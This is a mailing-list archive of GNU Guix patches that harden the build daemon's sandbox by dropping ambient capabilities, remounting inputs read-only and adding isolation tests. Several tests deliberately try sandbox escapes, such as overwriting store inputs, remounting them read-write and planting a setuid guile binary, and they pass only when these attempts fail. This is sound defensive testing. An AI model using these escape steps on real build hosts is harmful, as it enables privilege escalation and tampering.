 ZDFS4h8FKfsU+cwOvU48gwqFjUYnhfw7Y67b854brijWZ8Ab80CPJyB1Z0jkeXLuX1k0+3ABEVZwc
 7po5z8NrKtsJ9XeMy1qid1Ck/QfeJt6jDq6Plx7XaUCNCmYcmUPBqpcV+Z+9G80sRhBa7L/avyKde
 0p90m6lUtYcW7UvDCW45kuNIJdaNobxe0EgcKXi3Wdbt9WGQ0Fu9DXrtjUwyYLxcslVXfrfnSmR0X
 UHBxv7wcerNqL5SavyCZxmcH7BNn1jYxsEjJHaFTx9WDqFDA72xwNOVjj6q1wqdmUm8fnPjXXRwud
 WlfxrVUapjKQPg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 09/11] daemon: Move comments where they belong.
Date: Fri, 21 Feb 2025 14:05:57 +0100
Message-ID: <ec4bc30e61d57621813fe5a4a3ec6c4036a805eb.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Shuffle
comments for clarity.

Change-Id: I6557c103ade4a3ab046354548ea193c68f8c9c05
---
 nix/libstore/build.cc | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 213ed635933..c8a0667c7b5 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1874,18 +1874,19 @@ void DerivationGoal::startBuilder()
         }
         dirsInChroot[tmpDirInSandbox] = tmpDir;
 
-        /* Make the closure of the inputs available in the chroot,
-           rather than the whole store.  This prevents any access
-           to undeclared dependencies.  !!! As an extra security
-           precaution, make the fake store only writable by the
-           build user. */
+	/* Create the fake store.  */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
         if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
-            throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
+	     /* As an extra security precaution, make the fake store only
+		writable by the build user.  */
+	     throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
+        /* Make the closure of the inputs available in the chroot, rather than
+           the whole store.  This prevents any access to undeclared
+           dependencies. */
         foreach (PathSet::iterator, i, inputPaths) {
 	    dirsInChroot[*i] = *i;
         }
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:08:51 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:08:50 2025
Received: from localhost ([127.0.0.1]:56691 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSlt-0005kT-17
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:08:50 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60044)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSju-0005OH-5o
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:01 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjo-0004Z7-PQ; Fri, 21 Feb 2025 08:06:40 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=x4qLkh9hJTZ4TkZolyQcxkgbw8cbkZm5cnTUmctXty8=; b=ktDtittoYnlV9w3J0Qp3
 wT+5TAOUna0q4SyqB2cco3M8nNwxjh6mda4Hvn0HHhuecw9xSxnQiW5jBY6BF8X4UCVT+LVzzXnFd
 cY2wagPXDspLQ5gRnJrEl1J/d9dAUrymx5ywGUlctAOZvFme4+x/nwCL1QAOWAwrFo8Wfhjs3Lt58
 ypTJ7FaGOu42hdXhZlD9vPmZ+ZT+0+BsnhNxguByjci86/xOswSsl/lVOijFUGkC4QGFW3kP/0IwD
 pEI01vjKLjZzkwB1sdwhX7oIGyW9Hi9Mw//4CXeLCqXKgEWSfDSlJ/oPSzAX+4/5mC9k6tlO1G1kn
 X5+qtEolwvFMeg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 06/11] tests: Run in a chroot and unprivileged user
 namespaces.
Date: Fri, 21 Feb 2025 14:05:54 +0100
Message-ID: <b97bc2f5d1a408c0f1007166f8654c03f11ca2c4.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("isolated environment", "inputs are read-only")
("inputs cannot be remounted read-write")
("build root cannot be made world-readable")
("/tmp, store, and /dev/{null,full} are writable"): New tests.
* tests/processes.scm ("client + lock"): Skip when
‘unprivileged-user-namespace-supported?’ returns true.

Change-Id: I3b3c3ebdf6db5fd36ee70251d07b893c17ca1b84
---
 build-aux/test-env.in |  14 ++-
 tests/processes.scm   |   9 +-
 tests/store.scm       | 206 +++++++++++++++++++++++++++++++++++-------
 3 files changed, 191 insertions(+), 38 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da581..5626152b346 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,20 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/processes.scm b/tests/processes.scm
index ba518f2d9e3..a72ba16f587 100644
--- a/tests/processes.scm
+++ b/tests/processes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2018 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2018, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2019 Mathieu Othacehe <m.othacehe@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
@@ -25,6 +25,8 @@ (define-module (test-processes)
   #:use-module (guix gexp)
   #:use-module ((guix utils) #:select (call-with-temporary-directory))
   #:use-module (gnu packages bootstrap)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix tests)
   #:use-module (srfi srfi-1)
   #:use-module (srfi srfi-64)
@@ -84,6 +86,11 @@ (define-syntax-rule (test-assert* description exp)
       (and (kill (process-id daemon) 0)
            (string-suffix? "guix-daemon" (first (process-command daemon)))))))
 
+(when (unprivileged-user-namespace-supported?)
+  ;; The test below assumes the build process can communicate with the outside
+  ;; world via the TOKEN1 and TOKEN2 files, which is impossible when
+  ;; guix-daemon is set up to build in separate namespaces.
+  (test-skip 1))
 (test-assert* "client + lock"
   (with-store store
     (call-with-temporary-directory
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f433..4ba0916e3fe 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -28,8 +28,12 @@ (define-module (test-store)
   #:use-module (guix base32)
   #:use-module (guix packages)
   #:use-module (guix derivations)
+  #:use-module ((guix modules)
+                #:select (source-module-closure))
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +395,147 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:sources (list b s)))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "inputs are read-only"
+  "All good!"
+  (let* ((input (plain-file (string-append "might-be-tampered-with-"
+                                           (number->string
+                                            (car (gettimeofday))
+                                            16))
+                            "All good!"))
+         (drv
+          (run-with-store %store
+            (gexp->derivation
+             "attempt-to-remount-input-read-write"
+             (with-imported-modules (source-module-closure
+                                     '((guix build syscalls)))
+               #~(begin
+                   (use-modules (guix build syscalls))
+
+                   (let ((input #$input))
+                     (chmod input #o666)
+                     (call-with-output-file input
+                       (lambda (port)
+                         (display "BAD!" port)))
+                     (mkdir #$output))))))))
+    (and (guard (c ((store-protocol-error? c) #t))
+           (build-derivations %store (list drv)))
+         (call-with-input-file (run-with-store %store
+                                 (lower-object input))
+           get-string-all))))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "inputs cannot be remounted read-write"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-remount-input-read-write"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((input #$(plain-file "input-that-might-be-tampered-with"
+                                             "All good!")))
+                    (mount "none" input "none" (logior MS_BIND MS_REMOUNT))
+                    (call-with-output-file input
+                      (lambda (port)
+                        (display "BAD!" port)))
+                    (mkdir #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "build root cannot be made world-readable"
+  (let ((drv
+         (run-with-store %store
+           (gexp->derivation
+            "attempt-to-make-root-world-readable"
+            (with-imported-modules (source-module-closure
+                                    '((guix build syscalls)))
+              #~(begin
+                  (use-modules (guix build syscalls))
+
+                  (let ((guile (string-append (assoc-ref %guile-build-info
+                                                         'bindir)
+                                              "/guile")))
+                    (catch 'system-error
+                      (lambda ()
+                        (chmod "/" #o777))
+                      (lambda args
+                        (format #t "failed to make root writable: ~a~%"
+                                (strerror (system-error-errno args)))
+                        (format #t "attempting read-write remount~%")
+                        (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT))
+                        (chmod "/" #o777)))
+                    (copy-file guile "/guile")
+                    (chmod "/guile" #o6755)
+                    ;; At this point, there's a world-readable setuid 'guile'
+                    ;; binary in the store that remains visible until this
+                    ;; build completes.
+                    (list #$output))))))))
+    (guard (c ((store-protocol-error? c) #t))
+      (build-derivations %store (list drv))
+      #f)))
+
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-assert "/tmp, store, and /dev/{null,full} are writable"
+  ;; All of /tmp and all of the store must be writable (the store is writable
+  ;; so that derivation outputs can be written to it, but in practice it's
+  ;; always been wide open).  Things like /dev/null must be writable too.
+  (let ((drv (run-with-store %store
+               (gexp->derivation
+                "check-tmp-and-store-are-writable"
+                #~(begin
+                    (mkdir "/tmp/something")
+                    (mkdir (in-vicinity (getenv "NIX_STORE")
+                                        "some-other-thing"))
+                    (call-with-output-file "/dev/null"
+                      (lambda (port)
+                        (display "Welcome to the void." port)))
+                    (catch 'system-error
+                      (lambda ()
+                        (call-with-output-file "/dev/full"
+                          (lambda (port)
+                            (display "No space left!" port)))
+                        (error "Should have thrown!"))
+                      (lambda args
+                        (unless (= ENOSPC (system-error-errno args))
+                          (apply throw args))))
+                    (mkdir #$output))))))
+    (build-derivations %store (list drv))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1478,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:08:49 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:08:49 2025
Received: from localhost ([127.0.0.1]:56688 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSls-0005kN-E7
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:08:48 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60062)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjy-0005P7-H9
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:55 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjs-0004ZV-TC; Fri, 21 Feb 2025 08:06:45 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Cq0kaUqqXvShQhQeK/4/6kl4yXtjDCBbINBs6TqgNTE=; b=qBy9fbjeeW40p79U/07I
 tihiZE0Kqhyn8pVPYYjilI4BpQy6soiuikg3/imWGzATcvSkTRXHaPKbaglmWchOsryj3gNxv4o+m
 WLS3gSR7mcG0LJhwswLOSOPstwlzmJt2pywuXSqjxmWxe3d2SlYyrOMyaA2d47G+ya0j9pou5XSka
 QKPTL4yvZQhgERVKT/inE6kUrTxJTCHyFv1jq/ib1MiooLuiKaY5zGyxuKCzPrKKntdiM3sOsoRkf
 a3uu7MnHrUhD17ZZIracP2ZlfGFTKg8yzT5fkpnBMlKe0jgtyALeJAAYTPiVl2DXrwTaJDBso0xPn
 am++1LFfStjnPA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 08/11] daemon: Drop Linux ambient capabilities before
 executing builder.
Date: Fri, 21 Feb 2025 14:05:56 +0100
Message-ID: <41e73aaabf721c22bfde3b0369a8e0d1a5694671.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a3..35d9c8cd56b 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 107ffcfea06..213ed635933 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2059,6 +2062,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:07:50 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:07:49 2025
Received: from localhost ([127.0.0.1]:56677 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSks-0005Zh-Ta
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:49 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:48278)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjq-0005NX-NM
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:49 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjk-0004YS-E4; Fri, 21 Feb 2025 08:06:36 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=udLBw4qw0envZeVnNl6X7JHSGVVjKh3qwYLpmJ5s2vI=; b=gqyslp3G9o2/wxdo48xj
 ihL0DR7t+TeRNoFxv/94wfW8uFgwpJxNVrGO5cb5HtR01wjLMFZcbK2+daFhJTHPHKUSEVIGKwLSs
 ZzyD4f+e/9huSej3FK03lDgaHXhS9K+xfmUF7a7A/b+mW6YDVjU6kariWxcyEwGOaWUwOda2wgpy6
 2sgZAWngi194os2gNLxHWfPFru41IJt8/9zqgyctM67fRpsCNxYZ5rQL5349hBVWXNlENvUIZc67X
 HBX5oapz3vCrZEF9sNTAfkCCf1BqVe1X2HADq26cWmBA9qmveBuGWLHfaeu2zYG0g35OOseWNG2DT
 tGymk+kLsZEgfg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 03/11] daemon: Remount inputs as read-only.
Date: Fri, 21 Feb 2025 14:05:51 +0100
Message-ID: <e62cb42e65d821ec41f8394a49c28da693d78d77.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index f4cd2131c84..6244c99e751 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2094,8 +2094,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source.compare(0, settings.nixStore.length(), settings.nixStore) == 0) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:07:47 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:07:47 2025
